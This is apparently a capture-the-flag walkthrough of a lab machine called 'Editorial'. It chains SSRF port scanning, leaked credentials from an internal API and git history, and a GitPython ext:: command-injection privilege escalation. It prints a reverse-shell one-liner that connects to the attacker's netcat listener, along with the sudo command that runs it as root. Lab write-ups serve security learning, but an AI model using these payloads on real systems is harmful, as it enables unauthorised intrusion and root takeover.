The first thing to do is to perform an Nmap scan. For the scan, I used the default scripts, version detection and OS detection sudo nmap -v -sC -sV -oN scans/nmap/init $IP
:
Nmap scan report for 10.10.11.20
Host is up (0.043s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Two services were found. The more interesting one is obviously the web server running on Nginx
. On the web server we are greeted with:
The more interesting functionality is definitely the upload & cover functionality. This is found under http://editorial.htb/upload
.
After that I tested for server side request forgery (SSRF
). I noticed that when we send a request to a closed / open port the website responds differently:
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
(closed)static/uploads/5063d778-6478-4b48-aa30-0016c233cd2d
(open)I set up an intruder scan to go through all of the ports 1-65535
. Its important to flag any response that does not contain the closed port signature:
A hit was found on the port 5000
which reveals an internal API (This requires first the SSRF request, and then a request to the resource):
The following was found in the response of the request:
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Most of the endpoints did not work; however, the one that did was /api/latest/metadata/messages/authors
. This endpoint revealed SSH credentials for the user dev
:
After SSH login I noticed the ~/apps
directory. This turns out to be a git project:
Looking at git log
output we see multiple code changes:
The following commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
reveales a production users credentials. This can be looked at via git show
.
Performing basic enumeration for root exploit we find privileges via sudo -l
, that allow us to run a Python script as root with arbitrary parameter:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Inspecting the script we find that it is using GitPython
. The version in use is vulnerable to Remote Code Execution:
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
For exploitation I created a shell script under /tmp
that contains a reverse shell to my machine:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.31 4444 >/tmp/f' >> /tmp/shell.sh
chmod +x /tmp/shell.sh
After that we can gain root privileges via:
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/shell.sh'
Successful exploitation. Don’t forget the flag ⸜(。˃ ᵕ ˂ )⸝
: